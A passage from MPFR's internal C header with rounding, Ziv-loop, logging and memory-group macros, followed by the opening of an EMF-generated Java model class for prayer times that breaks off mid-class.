inexact = MPFR_EVEN_INEX * sign; \
goto addoneulp_doit; \
} \
, OVERFLOW_HANDLER)
/* Return TRUE if b is non singular and we can round it to precision 'prec'
and determine the ternary value, with rounding mode 'rnd', and with
error at most 'error' */
#define MPFR_CAN_ROUND(b,err,prec,rnd) \
(!MPFR_IS_SINGULAR (b) && mpfr_round_p (MPFR_MANT (b), MPFR_LIMB_SIZE (b), \
(err), (prec) + ((rnd)==MPFR_RNDN)))
/* Copy the sign and the significand, and handle the exponent in exp. */
#define MPFR_SETRAW(inexact,dest,src,exp,rnd) \
if (MPFR_UNLIKELY (dest != src)) \
{ \
MPFR_SET_SIGN (dest, MPFR_SIGN (src)); \
if (MPFR_LIKELY (MPFR_PREC (dest) == MPFR_PREC (src))) \
{ \
MPN_COPY (MPFR_MANT (dest), MPFR_MANT (src), \
(MPFR_PREC (src) + GMP_NUMB_BITS-1)/GMP_NUMB_BITS); \
inexact = 0; \
} \
else \
{ \
MPFR_RNDRAW (inexact, dest, MPFR_MANT (src), MPFR_PREC (src), \
rnd, MPFR_SIGN (src), exp++); \
} \
} \
else \
inexact = 0;
/* TODO: fix this description (see round_near_x.c). */
/* Assuming that the function has a Taylor expansion which looks like:
y=o(f(x)) = o(v + g(x)) with |g(x)| <= 2^(EXP(v)-err)
we can quickly set y to v if x is small (ie err > prec(y)+1) in most
cases. It assumes that f(x) is not representable exactly as a FP number.
v must not be a singular value (NAN, INF or ZERO); usual values are
v=1 or v=x.
y is the destination (a mpfr_t), v the value to set (a mpfr_t),
err1+err2 with err2 <= 3 the error term (mpfr_exp_t's), dir (an int) is
the direction of the committed error (if dir = 0, it rounds toward 0,
if dir=1, it rounds away from 0), rnd the rounding mode.
It returns from the function a ternary value in case of success.
If you want to free something, you must fill the "extra" field
in consequences, otherwise put nothing in it.
The test is less restrictive than necessary, but the function
will finish the check itself.
Note: err1 + err2 is allowed to overflow as mpfr_exp_t, but it must give
its real value as mpfr_uexp_t.
*/
#define MPFR_FAST_COMPUTE_IF_SMALL_INPUT(y,v,err1,err2,dir,rnd,extra) \
do { \
mpfr_ptr _y = (y); \
mpfr_exp_t _err1 = (err1); \
mpfr_exp_t _err2 = (err2); \
if (_err1 > 0) \
{ \
mpfr_uexp_t _err = (mpfr_uexp_t) _err1 + _err2; \
if (MPFR_UNLIKELY (_err > MPFR_PREC (_y) + 1)) \
{ \
int _inexact = mpfr_round_near_x (_y,(v),_err,(dir),(rnd)); \
if (_inexact != 0) \
{ \
extra; \
return _inexact; \
} \
} \
} \
} while (0)
/* Variant, to be called somewhere after MPFR_SAVE_EXPO_MARK. This variant
is needed when there are some computations before or when some non-zero
real constant is used, such as __gmpfr_one for mpfr_cos. */
#define MPFR_SMALL_INPUT_AFTER_SAVE_EXPO(y,v,err1,err2,dir,rnd,expo,extra) \
do { \
mpfr_ptr _y = (y); \
mpfr_exp_t _err1 = (err1); \
mpfr_exp_t _err2 = (err2); \
if (_err1 > 0) \
{ \
mpfr_uexp_t _err = (mpfr_uexp_t) _err1 + _err2; \
if (MPFR_UNLIKELY (_err > MPFR_PREC (_y) + 1)) \
{ \
int _inexact; \
mpfr_clear_flags (); \
_inexact = mpfr_round_near_x (_y,(v),_err,(dir),(rnd)); \
if (_inexact != 0) \
{ \
extra; \
MPFR_SAVE_EXPO_UPDATE_FLAGS (expo, __gmpfr_flags); \
MPFR_SAVE_EXPO_FREE (expo); \
return mpfr_check_range (_y, _inexact, (rnd)); \
} \
} \
} \
} while (0)
/******************************************************
*************** Ziv Loop Macro *********************
******************************************************/
#ifndef MPFR_USE_LOGGING
#define MPFR_ZIV_DECL(_x) mpfr_prec_t _x
#define MPFR_ZIV_INIT(_x, _p) (_x) = GMP_NUMB_BITS
#define MPFR_ZIV_NEXT(_x, _p) ((_p) += (_x), (_x) = (_p)/2)
#define MPFR_ZIV_FREE(x)
#else
/* The following test on glibc is there mainly for Darwin (Mac OS X), to
obtain a better error message. The real test should have been a test
concerning nested functions in gcc, which are disabled by default on
Darwin; but it is not possible to do that without a configure test. */
# if defined (__cplusplus) || !(__MPFR_GNUC(3,0) && __MPFR_GLIBC(2,0))
# error "Logging not supported (needs gcc >= 3.0 and GNU C Library >= 2.0)."
# endif
/* Use LOGGING */
/* Note: the mpfr_log_level >= 0 below avoids to take into account
Ziv loops used by the MPFR functions called by the mpfr_fprintf
in LOG_PRINT. */
#define MPFR_ZIV_DECL(_x) \
mpfr_prec_t _x; \
int _x ## _cpt = 1; \
static unsigned long _x ## _loop = 0, _x ## _bad = 0; \
static const char *_x ## _fname = __func__; \
auto void __attribute__ ((destructor)) x ## _f (void); \
void __attribute__ ((destructor)) x ## _f (void) { \
if (_x ## _loop != 0 && (MPFR_LOG_STAT_F & mpfr_log_type)) \
fprintf (mpfr_log_file, \
"%s: Ziv failed %2.2f%% (%lu bad cases / %lu calls)\n", \
_x ## _fname, (double) 100.0 * _x ## _bad / _x ## _loop, \
_x ## _bad, _x ## _loop ); }
#define MPFR_ZIV_INIT(_x, _p) \
do \
{ \
(_x) = GMP_NUMB_BITS; \
if (mpfr_log_level >= 0) \
_x ## _loop ++; \
if ((MPFR_LOG_BADCASE_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
LOG_PRINT ("%s:ZIV 1st prec=%Pd\n", \
__func__, (mpfr_prec_t) (_p)); \
} \
while (0)
#define MPFR_ZIV_NEXT(_x, _p) \
do \
{ \
(_p) += (_x); \
(_x) = (_p) / 2; \
if (mpfr_log_level >= 0) \
_x ## _bad += (_x ## _cpt == 1); \
_x ## _cpt ++; \
if ((MPFR_LOG_BADCASE_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
LOG_PRINT ("%s:ZIV new prec=%Pd\n", \
__func__, (mpfr_prec_t) (_p)); \
} \
while (0)
#define MPFR_ZIV_FREE(_x) \
do \
{ \
if ((MPFR_LOG_BADCASE_F & mpfr_log_type) && _x ## _cpt > 1 && \
(mpfr_log_current <= mpfr_log_level)) \
fprintf (mpfr_log_file, "%s:ZIV %d loops\n", \
__func__, _x ## _cpt); \
} \
while (0)
#endif
/******************************************************
*************** Logging Macros *********************
******************************************************/
/* The different kind of LOG */
#define MPFR_LOG_INPUT_F 1
#define MPFR_LOG_OUTPUT_F 2
#define MPFR_LOG_INTERNAL_F 4
#define MPFR_LOG_TIME_F 8
#define MPFR_LOG_BADCASE_F 16
#define MPFR_LOG_MSG_F 32
#define MPFR_LOG_STAT_F 64
#ifdef MPFR_USE_LOGGING
/* Check if we can support this feature */
# ifdef MPFR_USE_THREAD_SAFE
# error "Enable either `Logging' or `thread-safe', not both"
# endif
# if !__MPFR_GNUC(3,0)
# error "Logging not supported (GCC >= 3.0)"
# endif
#if defined (__cplusplus)
extern "C" {
#endif
__MPFR_DECLSPEC extern FILE *mpfr_log_file;
__MPFR_DECLSPEC extern int mpfr_log_type;
__MPFR_DECLSPEC extern int mpfr_log_level;
__MPFR_DECLSPEC extern int mpfr_log_current;
__MPFR_DECLSPEC extern mpfr_prec_t mpfr_log_prec;
#if defined (__cplusplus)
}
#endif
/* LOG_PRINT calls mpfr_fprintf on mpfr_log_file with logging disabled
(recursive logging is not wanted and freezes MPFR). */
#define LOG_PRINT(format, ...) \
do \
{ \
int old_level = mpfr_log_level; \
mpfr_log_level = -1; /* disable logging in mpfr_fprintf */ \
__gmpfr_cache_const_pi = __gmpfr_logging_pi; \
__gmpfr_cache_const_log2 = __gmpfr_logging_log2; \
mpfr_fprintf (mpfr_log_file, format, __VA_ARGS__); \
mpfr_log_level = old_level; \
__gmpfr_cache_const_pi = __gmpfr_normal_pi; \
__gmpfr_cache_const_log2 = __gmpfr_normal_log2; \
} \
while (0)
#define MPFR_LOG_VAR(x) \
do \
if ((MPFR_LOG_INTERNAL_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
LOG_PRINT ("%s.%d:%s[%#Pu]=%.*Rf\n", __func__, __LINE__, \
#x, mpfr_get_prec (x), mpfr_log_prec, x); \
while (0)
#define MPFR_LOG_MSG2(format, ...) \
do \
if ((MPFR_LOG_MSG_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
LOG_PRINT ("%s.%d: "format, __func__, __LINE__, __VA_ARGS__); \
while (0)
#define MPFR_LOG_MSG(x) MPFR_LOG_MSG2 x
#define MPFR_LOG_BEGIN2(format, ...) \
mpfr_log_current ++; \
if ((MPFR_LOG_INPUT_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
LOG_PRINT ("%s:IN "format"\n", __func__, __VA_ARGS__); \
if ((MPFR_LOG_TIME_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
__gmpfr_log_time = mpfr_get_cputime ();
#define MPFR_LOG_BEGIN(x) \
int __gmpfr_log_time = 0; \
MPFR_LOG_BEGIN2 x
#define MPFR_LOG_END2(format, ...) \
if ((MPFR_LOG_TIME_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
fprintf (mpfr_log_file, "%s:TIM %dms\n", __mpfr_log_fname, \
mpfr_get_cputime () - __gmpfr_log_time); \
if ((MPFR_LOG_OUTPUT_F & mpfr_log_type) && \
(mpfr_log_current <= mpfr_log_level)) \
LOG_PRINT ("%s:OUT "format"\n", __mpfr_log_fname, __VA_ARGS__); \
mpfr_log_current --;
#define MPFR_LOG_END(x) \
static const char *__mpfr_log_fname = __func__; \
MPFR_LOG_END2 x
#define MPFR_LOG_FUNC(begin,end) \
static const char *__mpfr_log_fname = __func__; \
auto void __mpfr_log_cleanup (int *time); \
void __mpfr_log_cleanup (int *time) { \
int __gmpfr_log_time = *time; \
MPFR_LOG_END2 end; } \
int __gmpfr_log_time __attribute__ ((cleanup (__mpfr_log_cleanup))); \
__gmpfr_log_time = 0; \
MPFR_LOG_BEGIN2 begin
#else /* MPFR_USE_LOGGING */
/* Define void macro for logging */
#define MPFR_LOG_VAR(x)
#define MPFR_LOG_BEGIN(x)
#define MPFR_LOG_END(x)
#define MPFR_LOG_MSG(x)
#define MPFR_LOG_FUNC(x,y)
#endif /* MPFR_USE_LOGGING */
/**************************************************************
************ Group Initialize Functions Macros *************
**************************************************************/
#ifndef MPFR_GROUP_STATIC_SIZE
# define MPFR_GROUP_STATIC_SIZE 16
#endif
struct mpfr_group_t {
size_t alloc;
mp_limb_t *mant;
mp_limb_t tab[MPFR_GROUP_STATIC_SIZE];
};
#define MPFR_GROUP_DECL(g) struct mpfr_group_t g
#define MPFR_GROUP_CLEAR(g) do { \
MPFR_LOG_MSG (("GROUP_CLEAR: ptr = 0x%lX, size = %lu\n", \
(unsigned long) (g).mant, \
(unsigned long) (g).alloc)); \
if (MPFR_UNLIKELY ((g).alloc != 0)) { \
MPFR_ASSERTD ((g).mant != (g).tab); \
(*__gmp_free_func) ((g).mant, (g).alloc); \
}} while (0)
#define MPFR_GROUP_INIT_TEMPLATE(g, prec, num, handler) do { \
mpfr_prec_t _prec = (prec); \
mp_size_t _size; \
MPFR_ASSERTD (_prec >= MPFR_PREC_MIN); \
if (MPFR_UNLIKELY (_prec > MPFR_PREC_MAX)) \
mpfr_abort_prec_max (); \
_size = (mpfr_prec_t) (_prec + GMP_NUMB_BITS - 1) / GMP_NUMB_BITS; \
if (MPFR_UNLIKELY (_size * (num) > MPFR_GROUP_STATIC_SIZE)) \
{ \
(g).alloc = (num) * _size * sizeof (mp_limb_t); \
(g).mant = (mp_limb_t *) (*__gmp_allocate_func) ((g).alloc); \
} \
else \
{ \
(g).alloc = 0; \
(g).mant = (g).tab; \
} \
MPFR_LOG_MSG (("GROUP_INIT: ptr = 0x%lX, size = %lu\n", \
(unsigned long) (g).mant, (unsigned long) (g).alloc)); \
handler; \
} while (0)
#define MPFR_GROUP_TINIT(g, n, x) \
MPFR_TMP_INIT1 ((g).mant + _size * (n), x, _prec)
#define MPFR_GROUP_INIT_1(g, prec, x) \
MPFR_GROUP_INIT_TEMPLATE(g, prec, 1, MPFR_GROUP_TINIT(g, 0, x))
#define MPFR_GROUP_INIT_2(g, prec, x, y) \
MPFR_GROUP_INIT_TEMPLATE(g, prec, 2, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y))
#define MPFR_GROUP_INIT_3(g, prec, x, y, z) \
MPFR_GROUP_INIT_TEMPLATE(g, prec, 3, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z))
#define MPFR_GROUP_INIT_4(g, prec, x, y, z, t) \
MPFR_GROUP_INIT_TEMPLATE(g, prec, 4, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z);MPFR_GROUP_TINIT(g, 3, t))
#define MPFR_GROUP_INIT_5(g, prec, x, y, z, t, a) \
MPFR_GROUP_INIT_TEMPLATE(g, prec, 5, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z);MPFR_GROUP_TINIT(g, 3, t); \
MPFR_GROUP_TINIT(g, 4, a))
#define MPFR_GROUP_INIT_6(g, prec, x, y, z, t, a, b) \
MPFR_GROUP_INIT_TEMPLATE(g, prec, 6, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z);MPFR_GROUP_TINIT(g, 3, t); \
MPFR_GROUP_TINIT(g, 4, a);MPFR_GROUP_TINIT(g, 5, b))
#define MPFR_GROUP_REPREC_TEMPLATE(g, prec, num, handler) do { \
mpfr_prec_t _prec = (prec); \
size_t _oalloc = (g).alloc; \
mp_size_t _size; \
MPFR_LOG_MSG (("GROUP_REPREC: oldptr = 0x%lX, oldsize = %lu\n", \
(unsigned long) (g).mant, (unsigned long) _oalloc)); \
MPFR_ASSERTD (_prec >= MPFR_PREC_MIN); \
if (MPFR_UNLIKELY (_prec > MPFR_PREC_MAX)) \
mpfr_abort_prec_max (); \
_size = (mpfr_prec_t) (_prec + GMP_NUMB_BITS - 1) / GMP_NUMB_BITS; \
(g).alloc = (num) * _size * sizeof (mp_limb_t); \
if (MPFR_LIKELY (_oalloc == 0)) \
(g).mant = (mp_limb_t *) (*__gmp_allocate_func) ((g).alloc); \
else \
(g).mant = (mp_limb_t *) \
(*__gmp_reallocate_func) ((g).mant, _oalloc, (g).alloc); \
MPFR_LOG_MSG (("GROUP_REPREC: newptr = 0x%lX, newsize = %lu\n", \
(unsigned long) (g).mant, (unsigned long) (g).alloc)); \
handler; \
} while (0)
#define MPFR_GROUP_REPREC_1(g, prec, x) \
MPFR_GROUP_REPREC_TEMPLATE(g, prec, 1, MPFR_GROUP_TINIT(g, 0, x))
#define MPFR_GROUP_REPREC_2(g, prec, x, y) \
MPFR_GROUP_REPREC_TEMPLATE(g, prec, 2, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y))
#define MPFR_GROUP_REPREC_3(g, prec, x, y, z) \
MPFR_GROUP_REPREC_TEMPLATE(g, prec, 3, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z))
#define MPFR_GROUP_REPREC_4(g, prec, x, y, z, t) \
MPFR_GROUP_REPREC_TEMPLATE(g, prec, 4, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z);MPFR_GROUP_TINIT(g, 3, t))
#define MPFR_GROUP_REPREC_5(g, prec, x, y, z, t, a) \
MPFR_GROUP_REPREC_TEMPLATE(g, prec, 5, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z);MPFR_GROUP_TINIT(g, 3, t); \
MPFR_GROUP_TINIT(g, 4, a))
#define MPFR_GROUP_REPREC_6(g, prec, x, y, z, t, a, b) \
MPFR_GROUP_REPREC_TEMPLATE(g, prec, 6, \
MPFR_GROUP_TINIT(g, 0, x);MPFR_GROUP_TINIT(g, 1, y); \
MPFR_GROUP_TINIT(g, 2, z);MPFR_GROUP_TINIT(g, 3, t); \
MPFR_GROUP_TINIT(g, 4, a);MPFR_GROUP_TINIT(g, 5, b))
/******************************************************
*************** Internal Functions *****************
******************************************************/
#if defined (__cplusplus)
extern "C" {
#endif
__MPFR_DECLSPEC int mpfr_underflow _MPFR_PROTO ((mpfr_ptr, mpfr_rnd_t, int));
__MPFR_DECLSPEC int mpfr_overflow _MPFR_PROTO ((mpfr_ptr, mpfr_rnd_t, int));
__MPFR_DECLSPEC int mpfr_add1 _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,
mpfr_srcptr, mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_sub1 _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,
mpfr_srcptr, mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_add1sp _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,
mpfr_srcptr, mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_sub1sp _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,
mpfr_srcptr, mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_can_round_raw _MPFR_PROTO ((const mp_limb_t *,
mp_size_t, int, mpfr_exp_t, mpfr_rnd_t, mpfr_rnd_t, mpfr_prec_t));
__MPFR_DECLSPEC int mpfr_cmp2 _MPFR_PROTO ((mpfr_srcptr, mpfr_srcptr,
mpfr_prec_t *));
__MPFR_DECLSPEC long __gmpfr_ceil_log2 _MPFR_PROTO ((double));
__MPFR_DECLSPEC long __gmpfr_floor_log2 _MPFR_PROTO ((double));
__MPFR_DECLSPEC double __gmpfr_ceil_exp2 _MPFR_PROTO ((double));
__MPFR_DECLSPEC unsigned long __gmpfr_isqrt _MPFR_PROTO ((unsigned long));
__MPFR_DECLSPEC unsigned long __gmpfr_cuberoot _MPFR_PROTO ((unsigned long));
__MPFR_DECLSPEC int __gmpfr_int_ceil_log2 _MPFR_PROTO ((unsigned long));
__MPFR_DECLSPEC mpfr_exp_t mpfr_ceil_mul _MPFR_PROTO ((mpfr_exp_t, int, int));
__MPFR_DECLSPEC int mpfr_exp_2 _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_exp_3 _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_powerof2_raw _MPFR_PROTO ((mpfr_srcptr));
__MPFR_DECLSPEC int mpfr_pow_general _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,
mpfr_srcptr, mpfr_rnd_t, int, mpfr_save_expo_t *));
__MPFR_DECLSPEC void mpfr_setmax _MPFR_PROTO ((mpfr_ptr, mpfr_exp_t));
__MPFR_DECLSPEC void mpfr_setmin _MPFR_PROTO ((mpfr_ptr, mpfr_exp_t));
__MPFR_DECLSPEC long mpfr_mpn_exp _MPFR_PROTO ((mp_limb_t *, mpfr_exp_t *, int,
mpfr_exp_t, size_t));
#ifdef _MPFR_H_HAVE_FILE
__MPFR_DECLSPEC void mpfr_fprint_binary _MPFR_PROTO ((FILE *, mpfr_srcptr));
#endif
__MPFR_DECLSPEC void mpfr_print_binary _MPFR_PROTO ((mpfr_srcptr));
__MPFR_DECLSPEC void mpfr_print_mant_binary _MPFR_PROTO ((const char*,
const mp_limb_t*, mpfr_prec_t));
__MPFR_DECLSPEC void mpfr_set_str_binary _MPFR_PROTO((mpfr_ptr, const char*));
__MPFR_DECLSPEC int mpfr_round_raw _MPFR_PROTO ((mp_limb_t *,
const mp_limb_t *, mpfr_prec_t, int, mpfr_prec_t, mpfr_rnd_t, int *));
__MPFR_DECLSPEC int mpfr_round_raw_2 _MPFR_PROTO ((const mp_limb_t *,
mpfr_prec_t, int, mpfr_prec_t, mpfr_rnd_t));
/* No longer defined (see round_prec.c).
Uncomment if it needs to be defined again.
__MPFR_DECLSPEC int mpfr_round_raw_3 _MPFR_PROTO ((const mp_limb_t *,
mpfr_prec_t, int, mpfr_prec_t, mpfr_rnd_t, int *));
*/
__MPFR_DECLSPEC int mpfr_round_raw_4 _MPFR_PROTO ((mp_limb_t *,
const mp_limb_t *, mpfr_prec_t, int, mpfr_prec_t, mpfr_rnd_t));
#define mpfr_round_raw2(xp, xn, neg, r, prec) \
mpfr_round_raw_2((xp),(xn)*GMP_NUMB_BITS,(neg),(prec),(r))
__MPFR_DECLSPEC int mpfr_check _MPFR_PROTO ((mpfr_srcptr));
__MPFR_DECLSPEC int mpfr_sum_sort _MPFR_PROTO ((mpfr_srcptr *const,
unsigned long, mpfr_srcptr *));
__MPFR_DECLSPEC int mpfr_get_cputime _MPFR_PROTO ((void));
__MPFR_DECLSPEC void mpfr_nexttozero _MPFR_PROTO ((mpfr_ptr));
__MPFR_DECLSPEC void mpfr_nexttoinf _MPFR_PROTO ((mpfr_ptr));
__MPFR_DECLSPEC int mpfr_const_pi_internal _MPFR_PROTO ((mpfr_ptr,mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_const_log2_internal _MPFR_PROTO((mpfr_ptr,mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_const_euler_internal _MPFR_PROTO((mpfr_ptr, mpfr_rnd_t));
__MPFR_DECLSPEC int mpfr_const_catalan_internal _MPFR_PROTO((mpfr_ptr, mpfr_rnd_t));
#if 0
__MPFR_DECLSPEC void mpfr_init_cache _MPFR_PROTO ((mpfr_cache_t,
int(*)(mpfr_ptr,mpfr_rnd_t)));
#endif
__MPFR_DECLSPEC void mpfr_clear_cache _MPFR_PROTO ((mpfr_cache_t));
__MPFR_DECLSPEC int mpfr_cache _MPFR_PROTO ((mpfr_ptr, mpfr_cache_t,
mpfr_rnd_t));
__MPFR_DECLSPEC void mpfr_mulhigh_n _MPFR_PROTO ((mpfr_limb_ptr,
mpfr_limb_srcptr, mpfr_limb_srcptr, mp_size_t));
__MPFR_DECLSPEC void mpfr_mullow_n _MPFR_PROTO ((mpfr_limb_ptr,
mpfr_limb_srcptr, mpfr_limb_srcptr, mp_size_t));
__MPFR_DECLSPEC void mpfr_sqrhigh_n _MPFR_PROTO ((mpfr_limb_ptr,
mpfr_limb_srcptr, mp_size_t));
__MPFR_DECLSPEC mp_limb_t mpfr_divhigh_n _MPFR_PROTO ((mpfr_limb_ptr,
mpfr_limb_ptr, mpfr_limb_ptr, mp_size_t));
__MPFR_DECLSPEC int mpfr_round_p _MPFR_PROTO ((mp_limb_t *, mp_size_t,
mpfr_exp_t, mpfr_prec_t));
__MPFR_DECLSPEC void mpfr_dump_mant _MPFR_PROTO ((const mp_limb_t *,
mpfr_prec_t, mpfr_prec_t,
mpfr_prec_t));
__MPFR_DECLSPEC int mpfr_round_near_x _MPFR_PROTO ((mpfr_ptr, mpfr_srcptr,
mpfr_uexp_t, int,
mpfr_rnd_t));
__MPFR_DECLSPEC void mpfr_abort_prec_max _MPFR_PROTO ((void))
MPFR_NORETURN_ATTR;
__MPFR_DECLSPEC void mpfr_rand_raw _MPFR_PROTO((mpfr_limb_ptr, gmp_randstate_t,
unsigned long));
__MPFR_DECLSPEC mpz_t* mpfr_bernoulli_internal _MPFR_PROTO((mpz_t*,
unsigned long));
__MPFR_DECLSPEC int mpfr_sincos_fast _MPFR_PROTO((mpfr_t, mpfr_t,
mpfr_srcptr, mpfr_rnd_t));
__MPFR_DECLSPEC double mpfr_scale2 _MPFR_PROTO((double, int));
__MPFR_DECLSPEC void mpfr_div_ui2 _MPFR_PROTO((mpfr_ptr, mpfr_srcptr,
unsigned long int, unsigned long int,
mpfr_rnd_t));
__MPFR_DECLSPEC void mpfr_gamma_one_and_two_third _MPFR_PROTO((mpfr_ptr, mpfr_ptr, mpfr_prec_t));
#if defined (__cplusplus)
}
#endif
#endif
| qsnake/mpfr | src/mpfr-impl.h | C | gpl-3.0 | 87,932 |
/**
*/
package net.paissad.waqtsalat.core.impl;
import java.util.Calendar;
import net.paissad.waqtsalat.core.WaqtSalatPackage;
import net.paissad.waqtsalat.core.api.Pray;
import net.paissad.waqtsalat.core.api.PrayName;
import org.eclipse.emf.common.notify.Notification;
import org.eclipse.emf.ecore.EClass;
import org.eclipse.emf.ecore.impl.ENotificationImpl;
import org.eclipse.emf.ecore.impl.MinimalEObjectImpl;
/**
* <!-- begin-user-doc --> An implementation of the model object ' <em><b>Pray</b></em>'. <!-- end-user-doc -->
* <p>
* The following features are implemented:
* <ul>
* <li>{@link net.paissad.waqtsalat.core.impl.PrayImpl#getName <em>Name</em>}</li>
* <li>{@link net.paissad.waqtsalat.core.impl.PrayImpl#getTime <em>Time</em>}</li>
* <li>{@link net.paissad.waqtsalat.core.impl.PrayImpl#isPlayingAdhan <em>Playing Adhan</em>}</li>
* <li>{@link net.paissad.waqtsalat.core.impl.PrayImpl#getAdhanPlayer <em>Adhan Player</em>}</li>
* </ul>
* </p>
*
* @generated
*/
public class PrayImpl extends MinimalEObjectImpl.Container implements Pray {
/**
* The default value of the '{@link #getName() <em>Name</em>}' attribute. <!-- begin-user-doc --> <!-- end-user-doc
* -->
*
* @see #getName()
* @generated
* @ordered
*/
protected static final PrayName NAME_EDEFAULT = PrayName.FADJR;
/**
* The cached value of the '{@link #getName() <em>Name</em>}' attribute. <!-- begin-user-doc --> <!-- end-user-doc
* -->
*
* @see #getName()
* @generated
* @ordered
*/
protected PrayName name = NAME_EDEFAULT;
/**
* The default value of the '{@link #getTime() <em>Time</em>}' attribute. <!-- begin-user-doc --> <!-- end-user-doc
* -->
*
* @see #getTime()
* @generated
* @ordered
*/
protected static final Calendar TIME_EDEFAULT = null;
/**
* The cached value of the '{@link #getTime() <em>Time</em>}' attribute. <!-- begin-user-doc --> <!-- end-user-doc
* -->
*
* @see #getTime()
* @generated
* @ordered
*/
protected Calendar time = TIME_EDEFAULT;
/**
* The default value of the '{@link #isPlayingAdhan() <em>Playing Adhan</em>}' attribute. <!-- begin-user-doc -->
* <!-- end-user-doc -->
*
* @see #isPlayingAdhan()
* @generated
* @ordered
*/
protected static final boolean PLAYING_ADHAN_EDEFAULT = false;
/**
* The cached value of the '{@link #isPlayingAdhan() <em>Playing Adhan</em>}' attribute. <!-- begin-user-doc -->
* <!-- end-user-doc -->
*
* @see #isPlayingAdhan()
* @generated
* @ordered
*/
protected boolean playingAdhan = PLAYING_ADHAN_EDEFAULT;
/**
* The default value of the '{@link #getAdhanPlayer() <em>Adhan Player</em>}' attribute. <!-- begin-user-doc -->
* <!-- end-user-doc -->
*
* @see #getAdhanPlayer()
* @generated
* @ordered
*/
protected static final Object ADHAN_PLAYER_EDEFAULT = null;
/**
* The cached value of the '{@link #getAdhanPlayer() <em>Adhan Player</em>}' attribute. <!-- begin-user-doc --> <!--
* end-user-doc -->
*
* @see #getAdhanPlayer()
* @generated
* @ordered
*/
protected Object adhanPlayer = ADHAN_PLAYER_EDEFAULT;
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
protected PrayImpl() {
super();
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
@Override
protected EClass eStaticClass() {
return WaqtSalatPackage.Literals.PRAY;
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public PrayName getName() {
return name;
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public void setName(PrayName newName) {
PrayName oldName = name;
name = newName == null ? NAME_EDEFAULT : newName;
if (eNotificationRequired())
eNotify(new ENotificationImpl(this, Notification.SET, WaqtSalatPackage.PRAY__NAME, oldName, name));
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public Calendar getTime() {
return time;
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public void setTime(Calendar newTime) {
Calendar oldTime = time;
time = newTime;
if (eNotificationRequired())
eNotify(new ENotificationImpl(this, Notification.SET, WaqtSalatPackage.PRAY__TIME, oldTime, time));
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public boolean isPlayingAdhan() {
return playingAdhan;
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public void setPlayingAdhan(boolean newPlayingAdhan) {
boolean oldPlayingAdhan = playingAdhan;
playingAdhan = newPlayingAdhan;
if (eNotificationRequired())
eNotify(new ENotificationImpl(this, Notification.SET, WaqtSalatPackage.PRAY__PLAYING_ADHAN,
oldPlayingAdhan, playingAdhan));
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public Object getAdhanPlayer() {
return adhanPlayer;
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
public void setAdhanPlayer(Object newAdhanPlayer) {
Object oldAdhanPlayer = adhanPlayer;
adhanPlayer = newAdhanPlayer;
if (eNotificationRequired())
eNotify(new ENotificationImpl(this, Notification.SET, WaqtSalatPackage.PRAY__ADHAN_PLAYER, oldAdhanPlayer,
adhanPlayer));
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
@Override
public Object eGet(int featureID, boolean resolve, boolean coreType) {
switch (featureID) {
case WaqtSalatPackage.PRAY__NAME:
return getName();
case WaqtSalatPackage.PRAY__TIME:
return getTime();
case WaqtSalatPackage.PRAY__PLAYING_ADHAN:
return isPlayingAdhan();
case WaqtSalatPackage.PRAY__ADHAN_PLAYER:
return getAdhanPlayer();
}
return super.eGet(featureID, resolve, coreType);
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
